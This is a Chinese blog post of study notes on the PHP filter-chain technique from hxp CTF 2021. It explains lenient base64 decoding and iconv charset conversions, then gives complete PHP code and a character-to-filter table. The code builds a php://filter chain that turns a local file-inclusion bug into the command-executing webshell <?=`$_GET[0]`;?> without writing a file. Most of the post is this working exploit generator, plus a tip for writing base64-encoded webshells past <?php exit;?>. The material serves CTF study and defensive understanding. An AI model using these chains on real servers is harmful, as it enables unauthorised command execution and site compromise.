php base64_decode宽松解析特性+iconv文件包含无落地利用

前言:php 文件包含无文件落地利用学习笔记

参考文章:https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
参考文章:https://tttang.com/archive/1395/
参考文章:https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

文件包含无落地文件利用是在hxp CTF 2021中发现的解决方法,通过PHP Base64 Filter宽松解析特性和iconv filter编码转换构造命令执行

php base64_decode的宽松解析特性

php的base64解码操作有一个宽松解析特性,也就是说合法字符只有A-Za-z0-9\/\=\+,其他字符会自动被忽略

php > var_dump(base64_decode("\xab\xcddGhpc19pc190ZXN0\xef"));
string(12) "this_is_test"

注:通过php的base64_decode宽松解析特性还可以用来解决之前的<?php exit;?>问题,直接以base64_decode解码写入对应的base64编码的webshell数据即可解决

iconv转换

参考convert.iconv所支持的编码集:https://www.php.net/manual/en/mbstring.supported-encodings.php

本地机器可以通过iconv -l来查看支持的编码集

这边可以看到通过convert.iconv.UTF8.CSISO2022KR将当前字符串的UTF-8编码集转换到CSISO2022KR编码集来打印结果的时候,前面会多一个.$)C字符串

<?php
$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

注:利用convert.iconv.UTF8.CSISO2022KR转换每次都能多出一个.$)C字符串来配凑各种可以利用的字符

获取'C'字符

那这边获取'C'字符就很容易了,通过配合base64_decode的宽松解析特性进行一次base64_decode就能把除了A-Za-z0-9\/\=\+,其他字符会自动被忽略,然后再进行一次base64_encode就能恢复原来的字符串,结果如下所示

$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

获取'8'字符

$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

获取'8C'字符串

这里有个点需要注意的就是,如果要获取'8C'的话,那么你在转换的过程中就需要反转顺序来,因为是如果要获取'8C'的话,先构造.$)C的来获取'C',然后在获取'C'的基础上,再其有'C'的字符串前面继续转换多出.$)C,对该.$)C转换出'8'的字符串,所以最终的生成过程应该是如下所示

$url = "php://filter/";
// get char C
$url .= "convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode";
// restore
$url .= "|convert.base64-decode|convert.base64-encode|";
// get char 8
$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
// restore
$url .= "|convert.base64-decode|convert.base64-encode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

构造webshell

这边已经提供好了一个webshell的构造数组,如下所示

<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"; // PD89YCRfR0VUWzBdYDs/Pg
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";

// echo $final_payload;
var_dump(file_get_contents($final_payload));

如果在自己机器上测试的时候,发现并不能有如下的效果,那么可能的原因就是当前机器不支持下面中的部分字符集,在使用的时候就会有如下所示报错的情况

问题1

这里需要注意的是这边写入的base64字符串是PD89YCRfR0VUWzBdYDs7Pz4=,可以发现生成了两个;,疑问是为什么是两个;呢?是作者打多了吗还是什么

实际上如果只使用了一个分号,则编码结果为PD89YCRfR0VUWzBdYDs/Pg==,这里 7 可能相对于/比较好找一些,也可能是exp作者没有fuzz或者找到斜杠的生成规则,所以作者这里使用了两个分号避开了最终base64编码中的斜杠。

但是上面这个不痛不痒的问题也可以进行解决,后续在PHP_INCLUDE_TO_SHELL_CHAR_DICT项目中已经枚举出了/的字符集

问题2

还有一个问题就是上面的代码中可以看到还使用了convert.iconv.UTF8.UTF7操作,这个有什么用呢?

convert.iconv.UTF8.UTF7的用处是将等号转换为字母,之所以使用这个的原因是exp作者遇到过有时候等号会让convert.base64-decode过滤器解析失败的情况,可以使用iconv从UTF8转换到UTF7,会把字符串中的任何等号变成一些base64字符。

PHP_INCLUDE_TO_SHELL_CHAR_DICT

在这个师傅提供的github项目中已经对相关的数字和字母都已经完成了FUZZ的操作,项目地址:https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

除了构造上述的<?=`$_GET[0]`;;?>以外,还能构造自己想要的字符串来进行利用,比如这边自己构造一个<?=`$_GET[0]`;?>

这边加上分号和字母g的对应的字符串转换即可,如下两条语句

convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4

'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8'

测试代码如下所示

<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs/Pg";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
    '/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";

// echo $final_payload;
var_dump(file_get_contents($final_payload));

结果如下图所示

posted @ 2023-05-04 15:49  zpchcbd  阅读(678)  评论(0编辑  收藏  举报